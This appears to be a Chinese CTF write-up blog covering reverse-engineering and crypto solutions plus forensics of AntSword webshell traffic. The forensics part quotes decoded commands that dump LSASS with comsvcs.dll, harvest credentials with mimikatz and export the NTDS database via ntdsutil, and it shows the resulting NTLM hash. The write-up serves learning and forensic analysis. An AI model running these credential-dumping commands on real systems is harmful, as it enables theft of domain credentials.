NtQuerySystemInformation 命中后执行到返回，将 rax <- 0xC0000001
NtClose 命中后将 rcx <- 0
禁用全部断点，运行一次就到用户代码了
或者你直接用 x96dbg 的插件 ScyllaHide，选择 VMP 的 Profile 就行，它原理主要是把上面的一些检测给 nop 了，但是这个代码会检测自身的完整性，在某个函数里会弹窗说文件被篡改，但在这道题里不影响最终效果（
过了反调试运行几次，然后右键 -> 搜索 -> 字符串就能直接看到内存里的 flag 了。
REVERSE
babyre
jadx 打开看了眼，先是有个明显的加密代码，但是感觉没那么简单直接跳过了。
然后发现有个动态加载 dex 文件的代码，又发现有个解密 assets 文件夹下 enc 的代码段。
直接把 enc 解密成 dex，进去发现是一个 AES + BASE64，CyberChef 一下就出了。
P.S. 我其实一开始并不知道这个动态加载 dex 文件是哪里被调用的，后来听讲解才知道是在 AndroidManifest.xml 中定义了 App 启动前的行为。
easyre
IDA 大致看了眼，程序结构比较常规，大概是输入个字符串加密然后和密文比较，然后加密是 TEA 系列的加密，比较用的 memcmp。
直接调试发现中途会直接异常退出，想到刚开始新建了线程，猜测是检测了主进程是否长时间挂起，直接退出。然后 hook 了 NtClose 就过了，就没管具体实现了。
动调的时候在加密函数下断拿到了 key，在 memcmp 下断，得到了密文长度和密文。IDA 里看加密函数的时候第一眼以为改了不少，后来发现类似以下代码
1
2
3
4
5
v8 = v4 + dword_140005728[v6 & 3];
v9 = v4 - 1640531527;
v10 = (v8 ^ (result + ((16 * result) ^ ((unsigned int)result >> 5)))) + v2;
v11 = ((v9 + dword_140005728[(v9 >> 11) & 3]) ^ (v10 + ((16 * v10) ^ (v10 >> 5)))) + result;
v12 = (v9 + dword_140005728[v9 & 3]) ^ (v11 + ((16 * v11) ^ (v11 >> 5)));
其中的 v8 都是没用的，中间那一坨都可以改写成一致的形式，就是个改了 delta 方向和数值的 XTEA。
解密拿到原文包上 flag 就出了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include 
using namespace std;
unsigned enc[] = {0xC0B29B34, 0xEF30AF6A, 0x98CCB238, 0x85B6F195,
                  0xA2480685, 0xA63D9B59, 0xF191C71E, 0x6790767B};
unsigned key[] = {0x29, 0x4823, 0x18BE, 0x6784};
const unsigned delta = 1640531527;
void decode(unsigned &v0, unsigned &v1) {
  unsigned sum = -delta * 32;
  for (int i = 0; i < 32; i++) {
    v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
    sum += delta;
    v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
  }
}
void intToStr(unsigned x) {
  putchar(x & 0xff);
  putchar(x >> 0x8 & 0xff);
  putchar(x >> 0x10 & 0xff);
  putchar(x >> 0x18 & 0xff);
}
int main() {
  for (int i = 0; i < 4; ++i) decode(enc[i << 1], enc[i << 1 | 1]);
  for (unsigned x : enc) intToStr(x);
}
P.S. 看冬令营的讲解发现在主函数之前有一些操作，寒假里有个 KM 推荐学弟做的 bbctf 也有类似的操作，看到时候能不能开个新坑。
repy
这题比赛的时候没做出来，反而最后一部分的脑洞和出题人对上了，有点难绷。
这题一共分为 3 部分，前 2 个部分都用了控制流平坦化，一点一点来吧。
第一部分其实很简单，当时被吓退了，代码其实并不复杂，甚至可以直接手搓。
大致逻辑如下：
1
2
3
4
5
6
7
8
9
10
11
12
bool check(char s[]) {
  int v[10];
  memset(v, 0, sizeof(v));
  for (int i = 0; s[i]; ++i) {
    // ... 省略一些合法性判断，如输入长度为 10 等
    ++v[s[i] - '0'];
  }
  for (int i = 0; i < 10; ++i) {
    if (s[i] - '0' != v[i]) return 0;
  }
  return 1;
}
虽然这个手推是个小学奥数题，但是最近刚学了 z3，正好写个脚本一把梭了：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from z3 import *

X = [BitVec(f'X_{i}', 5) for i in range(10)]

check = [X[i] == (1 - ((((X[0] ^ i) & 8) >> 3) | (((X[0] ^ i) & 4) >> 2) | (((X[0] ^ i) & 2) >> 1) | ((X[0] ^ i) & 1))) +
                 (1 - ((((X[1] ^ i) & 8) >> 3) | (((X[1] ^ i) & 4) >> 2) | (((X[1] ^ i) & 2) >> 1) | ((X[1] ^ i) & 1))) +
                 (1 - ((((X[2] ^ i) & 8) >> 3) | (((X[2] ^ i) & 4) >> 2) | (((X[2] ^ i) & 2) >> 1) | ((X[2] ^ i) & 1))) +
                 (1 - ((((X[3] ^ i) & 8) >> 3) | (((X[3] ^ i) & 4) >> 2) | (((X[3] ^ i) & 2) >> 1) | ((X[3] ^ i) & 1))) +
                 (1 - ((((X[4] ^ i) & 8) >> 3) | (((X[4] ^ i) & 4) >> 2) | (((X[4] ^ i) & 2) >> 1) | ((X[4] ^ i) & 1))) +
                 (1 - ((((X[5] ^ i) & 8) >> 3) | (((X[5] ^ i) & 4) >> 2) | (((X[5] ^ i) & 2) >> 1) | ((X[5] ^ i) & 1))) +
                 (1 - ((((X[6] ^ i) & 8) >> 3) | (((X[6] ^ i) & 4) >> 2) | (((X[6] ^ i) & 2) >> 1) | ((X[6] ^ i) & 1))) +
                 (1 - ((((X[7] ^ i) & 8) >> 3) | (((X[7] ^ i) & 4) >> 2) | (((X[7] ^ i) & 2) >> 1) | ((X[7] ^ i) & 1))) +
                 (1 - ((((X[8] ^ i) & 8) >> 3) | (((X[8] ^ i) & 4) >> 2) | (((X[8] ^ i) & 2) >> 1) | ((X[8] ^ i) & 1))) +
                 (1 - ((((X[9] ^ i) & 8) >> 3) | (((X[9] ^ i) & 4) >> 2) | (((X[9] ^ i) & 2) >> 1) | ((X[9] ^ i) & 1)))
          for i in range(10)]

_range = [And(0 <= X[i], X[i] <= 9) for i in range(10)]

s = Solver()
s.add(_range + check)
if s.check() == sat:
     t = s.model()
     res = [t[X[i]].as_long() for i in range(10)]
     print(''.join(str(x) for x in res))
else:
     print(s.check())
得到第一问的输入 6210001000。
紧接着程序根据第一问的答案对内存中的数组进行换表，全是控制流平坦化，用了冬令营的时候推荐的插件 D810 进行求解。
反混淆以后发现程序将第二问输入的字符串和处理后的表一一对应了起来，存到一个数组里，中间有一片代码都没对这个数组进行处理（也可能是 IDA 反编译出错了）。
紧接着直接传进 sub_401600 又通过表还原回输入的字符串，然后对其进行 MD5 并与一段已知值比较，破解可得 yOUar3g0oD@tc4nd。
然后就一头雾水了，比赛后根据讲解，左边还有 sub_402930 等函数不在流程中，其中 sub_402930 调用了文件输入输出，内部还有加密，极有可能和剩下两个文件有关。
中间有很多没啥用的垃圾赋值语句，去掉以后连逆带猜得到这个逻辑：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __fastcall sub_402930(char *iv, char *key) {
  int i, len_iv = strlen(iv);
  char s[32];
  for (i = 0; i < 16; ++i) {
    s[i + 16] = i < len_iv ? iv[i] : 2;
  }
  for (i = 0; i < 16; ++i) {
    s[i] = key[i];
  }
  char enc[] = "qgapgv,`kl_nbdj`-ejof";
  for (i = 0; i < 10; ++i) {
    enc[i] ^= 2;
    enc[i + 11] ^= 3;
  }
  // enc[] = "secret.bin_magic.file"
  // ... 读取 magic.file，没啥大用
  AES_set_encrypt_key(key, 128, ptr);
  AES_cbc_encrypt(in, out, len, ptr, s + 16, 1LL); // s + 16 是 iv 填充到 16 位
  // ... 写入 secret.bin
}
用脚本将 secret.bin 解密：
1
2
3
4
5
6
7
8
9
10
11
from Crypto.Cipher import AES

enc = open('secret.bin', 'rb').read()

key = b'yOUar3g0oD@tc4nd'
iv = b'6210001000' + b'\x02' * 6
aes = AES.new(key, AES.MODE_CBC, iv)
raw = aes.decrypt(enc)

with open('decrypted.pyc', 'wb') as f:
    f.write(raw)
然后是脑洞部分，根据题目名以及题中字符串 But someone told me that he caught 38 giant snakes yesterday..... （Anaconda 有蟒蛇的意思，还告诉了版本是 3.8），或者直接拿 DIE 检测都能知道它是 Python 3.8 的文件。
用 3.8 版本的 python 反汇编字节码发现会报错，检查报错信息发现它通过 JUMP_FORWARD 36 来跳过非法的字节码，同时影响反汇编。
通过 dis.opmap 我们得知 JUMP_FORWARD 36 的字节码为 6E 24，NOP 的字节码为 09。
1
2
3
4
5
6
7
8
9
10
11
# 注意要 3.8 版本的 python
import dis, marshal

for op, opcode in dis.opmap.items():
    print(f'{op}:{opcode}')
print('-----------------------------')

f = open('decrypted.pyc', 'rb')
code = f.read()
code = marshal.loads(code[16:])
print(dis.dis(code))
于是我们可以 patch 字节码：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
with open('decrypted.pyc', 'rb') as f:
    code = bytearray(f.read())
    op_len = len(code)
    for i in range(op_len):
        if code[i] == 0x6E and code[i + 1] == 0x24:
            i += 2
            nop = 0x24
            while nop > 0:
                code[i] = 0x09
                nop -= 1
                i += 1

with open('patched.pyc', 'wb') as f:
    f.write(bytes(code))
然而还是有部分代码无法复原，而且部分 while 有关控制流反编译是错误的，只能去自己阅读字节码。
主函数和之前程序一样只会连逆带猜，总感觉哪里少了点啥，能猜出有个 try 语句块异常处理来让前半段异或上后半段，但是整不出完整的逻辑，因为字节码顺序变得很奇怪，就和前面的 sub_402930 是怎么被调用的一样莫名其妙。
然后再说会能被直接反编译的三个类：
II00O0III0o0o0o0oo 类是一个换表 BASE64
IIoo00IIIo0o0oo0oo 类是一个 TEA 系列的加密
chall 类先调用了 II00O0III0o0o0o0oo 类，然后调用 IIoo00IIIo0o0oo0oo 类
也就是说加密逻辑是先换表 BASE64 然后 TEA 系列加密，这样我们就可以开始写脚本了：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from string import ascii_uppercase, ascii_lowercase, digits
from ctypes import c_uint
import base64

class b64:

    def __init__(self):
        self.std_table = ascii_uppercase + ascii_lowercase + digits + '+/'
        self.custom_table = list(self.std_table)
        length = len(self.custom_table)
        for i in range(0, length // 2):
            for j in range(0, length - 1 - i):
                if self.custom_table[j] > self.custom_table[j + 1]:
                    temp = self.custom_table[j]
                    self.custom_table[j] = self.custom_table[j + 1]
                    self.custom_table[j + 1] = temp
        self.custom_table = ''.join(self.custom_table)
        self.strmap = bytes.maketrans(self.custom_table.encode(), self.std_table.encode())

    def b64decode(self, enc):
        return base64.b64decode(enc.translate(self.strmap)).decode()

class TEA:
    
    def __init__(self):
        self.d = 0x87654321
        k0 = 1732584193
        k1 = 0xEFCDAB89
        k2 = 0x98BADCFE
        k3 = 271733878
        self.k = [k0, k1, k2, k3]

    def TEAdecode(self, v):

        def MX(x, y, total, key, p, e):
            a = (x.value >> 6 ^ y.value << 4) + (y.value >> 2 ^ x.value << 5)
            b = (total.value ^ y.value) + (key[p & 3 ^ e.value] ^ x.value)
            return c_uint(a ^ b)

        n = len(v)
        key = self.k
        delta = self.d
        rounds = 6 + 52 // n
        total = c_uint(delta * rounds)
        e = c_uint(0)
        for i in range(rounds):
            e.value = total.value >> 2 & 3
            v[n - 1] = c_uint(v[n - 1] - MX(c_uint(v[n - 2]), c_uint(v[0]), total, key, n - 1, e).value).value
            for p in range(n - 2, 0, -1):
                v[p] = c_uint(v[p] - MX(c_uint(v[p - 1]), c_uint(v[p + 1]), total, key, p, e).value).value
            v[0] = c_uint(v[0] - MX(c_uint(v[n - 1]), c_uint(v[1]), total, key, 0, e).value).value
            total.value -= delta
        return v

class solver:

    def __init__(self):
        self.b64 = b64()
        self.TEA = TEA()
    
    def ints2bytes(self, v):
        n = len(v)
        res = b''
        for i in range(n // 2):
            res += int.to_bytes(v[2 * i], 4, 'little')
            res += int.to_bytes(v[2 * i + 1], 4, 'little')
        return res

    def bytes2ints(self, cs):
        new_length = len(cs) + (8 - len(cs) % 8) % 8
        barray = cs.ljust(new_length, b'\x00')
        i = 0
        v = []
        while i < new_length:
            v0 = int.from_bytes(barray[i:i + 4], 'little')
            v1 = int.from_bytes(barray[i + 4:i + 8], 'little')
            v.append(v0)
            v.append(v1)
            i += 8
        return v
    
    def decode(self, text):
        tmp = self.TEA.TEAdecode(self.bytes2ints(text))
        return self.b64.b64decode(self.ints2bytes(tmp))

with open('encrypted', 'rb') as f:
    sol = solver()
    enc = bytearray(f.read())
    part_1 = enc[:len(enc) // 2]
    part_2 = enc[len(enc) // 2:]
    for i in range(len(enc) // 2):
        part_1[i] ^= part_2[i]
    print(sol.decode(part_1))
解出最后一部分是 PytH0n_KZBxDwfkIzbEgUOY，把三部分按题目要求合起来就是 flag。
CRYPTO
Numbers Game
发现有随机过程生成了两个长度为 53 的序列，算了下 (128 + 256) / 32 * 52 = 624，正好能满足解出随机数盒的条件。getrandbits 內部实现是反复生成 32 bits 的数，从 LSB 填充到 MSB，多余的 bits 就 drop。正好 128 和 256 都是 32 的倍数，可以完全复原生成的 32 bits 的数。 最后就只要倒推之前的生成的两个数即可。
逆推 state 盒的参考资料：https://badmonkey.site/archives/mt19937.html#2020-vn-招新赛-backtrace
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
import hashlib
import random

_id = ['d5d97afad7ef619b4badd8d2da10ee24', '67f4660a8335fb9f4152a9fbc44c9c77', '8cd43c85ebe9cc7036a37f47ccd1d1e4', 'ee3e8c62e8b0100027589d6de82677ef', '463bb2f3731ad0e786302bf78da08330', 'e245b1852a3b92734e46eb3421bd76c9', '0b74736786b4ab94651e3b706a548e55', '79cb596b28c2b4e02738f93b5bfbe0d3', '5a9c46837952952045564b5b395acad1', 'd3c2d90a05d1a059fbeba4a05a608798', '4da0306c8ab58097d2fef9114e6fcb6d', '9707fabbd3c96de66917f15998ac9201', '9dd3e46fc930abfb523fe31e8ee8a658', '3716a8fd05f7388e7151d09431e61ee1', '9acf027679a6d7a674a43dee4f5bea35', '78702a2b125a940519337b1bf50aff8a', '262cf3b8c8072a602048a24756c83fcf', '092f8d227ec583c4734a6f449de521a3', '712aa300302b57fed458553426348fce', '834d4a0ea451cc04b469636b18c56435', '754b5284b14402c61e3b1e56cb2d41e9', '51d742ca6a341032afcb5dc645f54bfa', 'c1a33d104f47e33d6932905b483a2018', '3def7c2a14cff6b2864a2100956df07f', '7e3606e4ec1c99fe5a8593ae44f25a70', '404c6139570883dbab8e5a299d7a5017', 'f07597079e1b68ebb4e2d16b83b7b484', '0723daf5c65f8ba6cd6e43fcdf9d18dc', '4c54db12829f165837384b66978e8438', 'cd056e64e1f31461cab2e66ece9d3278', '2f6ae16fab122cbce240e32464a1ab57', 'f86e0e9ee23498340f62d8617f6f5218', 'af4ebe2535885c783c89f8d8c4815076', 'c8eae5b5c7aca2c5fdb4f284e2cf65c5', 'bec0d8ecabedd9811a8ecb6052b21d8c', '731bd3421b6517aa101357fe1c49caf3', '344f4a26cdaf1a782d9b32208e1a3e92', '892b1741d304878461dd0774a335ea3d', '56e2a484ca40f43e059bf5f0bd822bdc', 'd7c0762df71b31c14654147fb9a0595c', '57016a179ba5509f6b04a161ac628b34', 'e49a2d573522c1ee3e8348ceca0295a4', '4b0f49c7e6469e82832e9cc90b9e17c0', 'eadc9d0c8b75127fe0a7f71881de1ea7', 'db9fe5537768207bd8cdf770bcd42dfa', 'ba2f57578752628d1ecac419b3a8bc36', '3752e70b5d2b578a8d412d84aab43705', '54e97795df8781c776cbb1ce4f5f31fc', '32794880abc9f68102c24e92ad9c7cd5', 
'b5eb7e651ca298f6873694c47d1cd3da', 'a188934777d2c67e3d59692135005497', '34c308fa1644b387169ea88c1b575490']
_code = ['2eebed894580fb900c3615d4866150e68322ff4d48e7509f85ff4543969b0cf6', '017aefd63b4ce14eb376161902d92894a15f680e7b055ce25c3b02c6b49db0a6', 'e12d945904032887c967ae03a48c8b096abc79dc64134d872693599d4f6c91cc', '0f8957f365f53a7209baa852905c5da5dba54ddb403ab17a4c9b3a051540d49c', '091e3e41815cd32f482f2cf54ac3338fc918c2a657896af1aa1b23ea528664f4', '5916cd18e8c48c545232112f2179aa7a722350a8a0ced4f1363cc61bc9d83630', '37702710d47a1c17278743253123f6eac85b16d9393432ec65100143bc8657e8', 'c3a7006293c48957cba5c010f945483cfdc47650a79d0e8a8a9a52c174244a10', 'e1a90a475dd21da64d64ea1dd50a82a622061d08e9d4b3016982c4a0b42f1251', '2f40ff85024765e58ed175927c53e0a279cda96ce755b602f89bfc171108ba3d', 'f4f8337dd7267d02638a9cc531c8a02fe0316dd5ff6f8c8aec898c060c6fb217', '0df2f3fe1eb976944a2de5729fca4a12b83c8329b4f514869856ebb94b7d7bf9', 'abb2f1277b1cb5ad07254b7f7ed346bcdb73282b306123ce0b5befe42a9e796d', '6ef31ed6a2a465bcd146c2438bf391bfd9f3187cf54afae512220a7a94714bf3', '6981f99ba288923a5cd68908ecc8795bf301f1e7d081ac6580a63902fd52da01', 'b6b07975697de1c0342e3711b59165b849125794ef2541c6c60dcf40e689df7b', '20e3af3a2bcedfd15199975cc9edcde14cb13fdff3ea0607a4747601e500aede', '606aa1daf188b9dd5fd6141312f1828846f92baa519e70e5c6923a352421fe2f', '1dc6a60112e99c5b884c0bb5430a7a54eba8aef34fada9cb96bce79a22456cf2', 'fd81e36f576119a19185cd12e87544b42f9fcc3dcb5e7ba282b1a128d73d63c5', '7a01e947ca012a5c9a8dd20e693a7788cd6157a5c3fce5fa7c7e09014ea3266e', 'ccd162b182c773062514ffc3551ed47f32293700083782d902efc55b1e9795c6', 'dbb6115aefd2638eebf44d3be6e9525e09ff036269d954469a0f925b496327a7', 'ac08696fe64bb5e58cd3e558463213ca08ab7805e33f45459ae14b35fc5858c6', '6e1594596ad1c656635af29d14b22a5ed10e545442eea5f4e056e20d11aa33b3', '4afd17e64562603c66ce0ca42d544ca48511c3d560f9180c231a9ccb28a0e55e', '06b2d2b24ca626e18fdcb3196e989e3b05150500815511f48200ddea9aacda48', '947a11e8258fd161d02b0eb1b2e8fcd9ff1684a7c75f7c506ddee91f08316f56', 'a0e58b15736cab055be1d03860dedb6b8136f6739308c2e0ef6a7490c6b4a1f1', '31476f64f96d72a398e7eb789068b8cfd61ed9cac95d76824a2bbf5b682ea72d', '974259198846a4849d318afd325d860a6e40dfd39e1ed8c7b6d87c990e35efcf', 'e93d02ba7079c488c30e377794b4fcc62eeafb6c3f02197f1ebc059e3e5f7f07', 'ded96eec0d25c05a54671a001bcd99f5c6d3991d2fdf80afb8f0861a44f3fd64', '86f34c1da65f07634de7c302a6df306dd545806022411a318900bd33b0aff9bd', '59baf4cf3d3b85fcdefd1a9b60c3d78926ff73650ac375c616b30fe9063b377d', '02f2ee251ecc19fa52dd42c0e0b609bc2e7a8ae11ce6ca35396a4bc74d12ac63', '597d09b4c43012b1b4b040d8c62d5fb02d1c4249de4eea06e1447000ba53f50c', 'bb87bd8e1903db2df41c349914e9f3591bb032400be6e86ed10e7d292243a374', 'cec38960069fdc8090cfbdd166e15ec8a77ce5b4d6b350805a63d2b54cbf0187', '1439d35a9c0caa9cacabe8e6179a02d51ebb9fb51125d5eeaba47ff6b8abcc97', '820d72d49e0fd86ef47b022a3091b326be8b0d2a42f87cbc918737b9972ea62f', 'e625e82100031fa4a4410700034859cd4b35c086f5ac2870c6909c16a6831bfc', 'f0e22f5167d29331351e1718c17b5420f6a29d84357273e1bfb24c2ff34fa675', 'a5a7991f0c5c6a44f68c5c18661611057dbabeff7847623315ce784095645f75', '07cd3f5c5c690214af5feda27b3aec257543a8f96bc509805028a0e95c5d98c6', 
'6e5dd4405c1b446b9530e4d9356c05b71d1bfcf8a79778588143c3b6fec3fded', 'a33f821d277e6f73c09a5ecd14cef80bac29ffe2b917225c27725d2447ac0489', 'c18a4a02dd1f7ee65bf5596c53549c286a754afb0e3b90b2369cdd1e43c0b986', '6b8df66aa27b40ca275bc133958b5d543167edf919e7e623a496c9afbf7594d6', 'c48124eeef995c7bb705bd240a26dbf6bdbe42ba29addf7ac78fa28dbed3debe', '040eef11dc6e0f3bb3e58e12d2a57ee274071a9c6224f27db70e19a8aa7d4df2', '4ecd0a955e52657fab8dfdac2df4d805f1d08b031df8bce22ac01fe20ca72c5b']

# right shift inverse
def inverse_right(res, shift, bits = 32):
    tmp = res
    for i in range(bits // shift):
        tmp = res ^ tmp >> shift
    return tmp
# right shift with mask inverse
def inverse_right_values(res, shift, mask, bits = 32):
    tmp = res
    for i in range(bits // shift):
        tmp = res ^ tmp >> shift & mask
    return tmp
# left shift inverse
def inverse_left(res, shift, bits = 32):
    tmp = res
    for i in range(bits//shift):
        tmp = res ^ tmp << shift
    return tmp
# left shift with mask inverse
def inverse_left_values(res, shift, mask, bits = 32):
    tmp = res
    for i in range(bits // shift):
        tmp = res ^ tmp << shift & mask
    return tmp

def recover_state(out):
    state = []
    for i in out:
        i = inverse_right(i, 18)
        i = inverse_left_values(i, 15, 0xefc60000)
        i = inverse_left_values(i, 7, 0x9d2c5680)
        i = inverse_right(i, 11)
        state.append(i)
    return state

def backtrace(cur, num):
    high = 0x80000000
    low = 0x7fffffff
    mask = 0x9908b0df
    state = cur
    for i in range(num - 1, -1, -1):
        tmp = state[i + 624] ^ state[i + 397]
        if tmp & high == high:
            tmp ^= mask
            tmp <<= 1
            tmp |= 1
        else:
            tmp <<= 1
        res = tmp & high
        tmp = state[i - 1 + 624] ^ state[i + 396]
        if tmp & high == high:
            tmp ^= mask
            tmp <<= 1
            tmp |= 1
        else:
            tmp <<= 1
        res |= (tmp) & low
        state[i] = res    
    return state

def hex2bin(x, bits):
    return bin(int(x, 16))[2:].zfill(bits)

def getRndHex(rnd, bits):
    return hex(prng.getrandbits(bits))[2:].zfill(bits // 4)

n = len(_id)
num = []

for i in range(n):
    x = hex2bin(_id[i], 128)
    y = hex2bin(_code[i], 256)
    for p in range(3, -1, -1):
        num.append(int(x[p * 32:(p + 1) * 32], 2))
    for p in range(7, -1, -1):
        num.append(int(y[p * 32:(p + 1) * 32], 2))

partS = recover_state(num)
pre = backtrace([0] * 12 + partS, 12)[:624]
prng = random.Random()
prng.setstate((3, tuple(pre + [0]), None))
pre_id = getRndHex(prng, 128)
pre_code = getRndHex(prng, 256)
flag = hashlib.md5((pre_id + pre_code).encode()).hexdigest()
print('flag{%s}' % flag)

# flag{22b307a4ac14c89888d5a6c79f7f963c}
math
看 chal.py，发现主要由 3 部分构成：
读取满足  $a^2 - D \times b^2 = 1$  的  $a$  和  $b$ 
同余
打乱 bits
 $a^2 - D \times b^2 = 1$  是经典的 PELL 方程，可以用连分数得到最小解，然后递推生成通解。
同余过程太经典了，可以直接通过  $a$  在  $p$  下的逆元和  $b$  求出  $m$ 。
还有个打乱，一开始以为和上一道题一样要去看 getPrime 的源码，想想不太实际。
注意到  $m$  肯定是小于  $p$  的（不然不用解了）， $p$  只有 512 bits，85 bits 一个组，最多也就 6 组（事实上题目已经给了  $c$ ）。
直接全排列枚举复杂度才 6! = 720 完全可以接受，枚举  $a$ ,  $b$  通解，枚举全排列，求解  $m$  看是否为 b'flag' 开头。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import itertools
from gmpy2 import *
from Crypto.Util.number import *

def sol_PELL(D):
    m = isqrt(D)
    x = D**(0.5)
    num=[]
    num.append(m)
    b = m
    c = 1
    while num[-1] != 2 * num[0]:
        c = (D - b**2) // c
        tmp = (x + b) // c
        num.append(int(tmp))
        b = num[-1] * c - b
    num = num[:-1]
    num.reverse()
    x, y = 1, 0
    for i in num:
        y, x = x, i * x + y
    return x, y

D = 0x1337
a0, b0 = sol_PELL(D)

p = 11199186558148426014734492874345932099384932524559726349180064588241518696390926354448476750322781683505497782040786332571272422812867731614415519029276349
plist = ['0010101111100011101101011111111001011000100110001001000000010001111011110101110011111', '0011010010010010110010011011001100110001100010101110001010001101110001100000111011010', '0110101101011101110000100001000000010001110110001010000000010110010101100100101110000', '0100111001011010000101100111100110101100011100100111011000110001111101000110110101101', '1100100110011101010011011111000101011011010000101100011001110100101000101101111110100', '1110111110001110000101100000000100111010110000001111010001101001100001010110101010001']

def work(a, b):
    inv = invert(a, p)
    perms = list(itertools.permutations(plist))
    for perm in perms:
        s = ''
        for _ in perm:
            s = s + _
        num = int(s, 2) % p
        m = ((num - b) % p + p) % p
        m = m * inv % p
        assert(num == (a * m + b) % p)
        flag = long_to_bytes(m)
        if (flag[:4] == b'flag'):
            print(flag)
            return True
    return False

a, b = a0, b0
while not work(a, b):
    a, b = a * a0 + D * b * b0, a * b0 + b * a0
    assert(a**2 - D * b**2 == 1)
    
# b'flag{5b80aaa2-2bb2-0ef1-4aa0-a5a9387239d5}'



蓝帽杯 2022 Writeup
2022-08-01T12:04:03.000Z
7月底划水打了蓝帽杯，然后一直没写 wp 鸽到现在，感觉整个暑假啥也没干，应该写点啥。
Misc
domainhacker
本来在准备 hvv，但由于疫情原因不了了之。不过鉴于那段时间的培训，一下子就分辨出是蚁剑的流量。本题的流量是经过 base64 加密并且加 Salt 的，不过可以从代码还原出来。
在流量包的请求体中能轻松辨别出参数，解码后依次有以下这些有用的指令：
1
2
3
4
5
6
cd /d "C:\\phpstudy_pro\\WWW"&powershell -c "rundll32 C:\windows\system32\comsvcs.dll, MiniDump 476 C:\windows\temp\lsass.dmp full"&echo efa923ba504&cd&echo 1a4be8815ef8
# 将内存中 dump 出来
cd /d "c:\\Windows\\Temp"&mimikatz.exe "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit" > 1.txt&echo efa923ba504&cd&echo 1a4be8815ef8
# 用 mimikatz 把内存中的域信息导出到 1.txt
cd /d "c:\\Windows\\Temp"&rar.exe a -PSecretsPassw0rds 1.rar 1.txt&echo efa923ba504&cd&echo 1a4be8815ef8
# 进行加密压缩
这样我们就知道压缩包密码是 SecretsPassw0rds，之后还有个下载请求，分离出压缩包，解压得到 1.txt：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : PDC$
Domain            : TEST
Logon Server      : (null)
Logon Time        : 2022/4/15 22:22:24
SID               : S-1-5-20
    msv :
     [00000003] Primary
     * Username : PDC$
     * Domain   : TEST
     * NTLM     : 416f89c3a5deb1d398a1a1fce93862a7
     * SHA1     : 54896b6f5e60e9be2b46332b13d0e0f110d6518f
    tspkg :
    wdigest :
     * Username : PDC$
     * Domain   : TEST
     * Password : (null)
    kerberos :
     * Username : pdc$
     * Domain   : test.local
     * Password : 15 e0 7e 07 d9 9d 3d 42 45 40 38 ec 97 d6 25 59 c9 e8 05 d9 fa bd 81 f9 2e 05 67 84 e1 a3 a3 ec eb 65 ba 6e b9 60 9b dd 5a 74 4b 2e 07 68 94 fd a1 cb 2e 7b a2 13 07 31 34 c2 1d e8 95 53 43 38 61 91 53 2b c4 b0 3e ea 7a ac 03 60 1f bf e8 dc 00 c5 fe 13 ed 7a ca 88 32 fc d0 c6 ea d2 c7 b4 87 31 82 dd 4c 96 4f 23 80 39 2e 31 b0 cf 67 8e 63 b2 5e f9 77 32 44 05 8e 22 f9 0c 69 32 64 1b b8 2d a0 99 0e b8 0e 2c 10 b6 ff 6d 5f 11 c9 5e 46 eb 62 df 00 7a bd c6 7b 83 db 0f 58 ed ac a3 66 dd c2 ec df 9f 22 b3 34 0d 07 89 ea 3b 2b b1 e1 f9 e2 e5 85 cd a3 78 ae dd e3 98 78 39 8e 4f 49 5a b6 05 4c 6d 1a e6 fa 30 c7 c6 fb 4d dc b4 ca f6 3c 20 fe 70 eb e3 16 82 78 f8 49 8d 15 6a 15 10 ac d8 68 f8 ef ad 0c c2 39 f2 ca 80 ef 96 
    ssp :KO
    credman :
把 NTLM 的值作为 flag 即可：flag{416f89c3a5deb1d398a1a1fce93862a7}
domainhacker2
类似的，同样是蚁剑的流量，不过指令种类更加丰富（有机会来分析一下各类流量）。
同样提取出有用的指令：
1
cd /d "C:\\phpstudy_pro\\WWW"&dsquery computer&echo 1d3632&cd&echo 78bc462ab
获取到域中的计算机（CN = Common Name，OU = Organizational Unit，DC = Domain Component）：
1
2
3
4
5
6
7
8
"CN=PDC,OU=Domain Controllers,DC=test,DC=local"
"CN=EXCHANGE,CN=Computers,DC=test,DC=local"
"CN=SDC,OU=Domain Controllers,DC=test,DC=local"
"CN=testnew,CN=Computers,DC=test,DC=local"
"CN=WIN-PJ6ELFEG09P,CN=Computers,DC=test,DC=local"
"CN=testcomputer,CN=Computers,DC=test,DC=local"
"CN=t,CN=Computers,DC=test,DC=local"
"CN=tt,CN=Computers,DC=test,DC=local"
获取本机名：
1
cd /d "C:\\phpstudy_pro\\WWW"&hostname&echo 1d3632&cd&echo 78bc462ab
得知本机为 PDC，结合之前的域信息得知本机就是域管理员。
新建了一个 log.txt，并写入以下内容：
1
2
3
4
5
ac i ntds
ifm
create full c:\windows\temp\new
q
q
与这篇文章相同的方法（只是把 log.txt 作为流输入了）导出密钥信息：
1
cd /d "C:\\phpstudy_pro\\WWW"&cmd.exe /c ntdsutil.exe < log.txt >err.txt 2>&1&echo 1d3632&cd&echo 78bc462ab
导出到 err.txt，并获得回显：
1
2
3
4
5
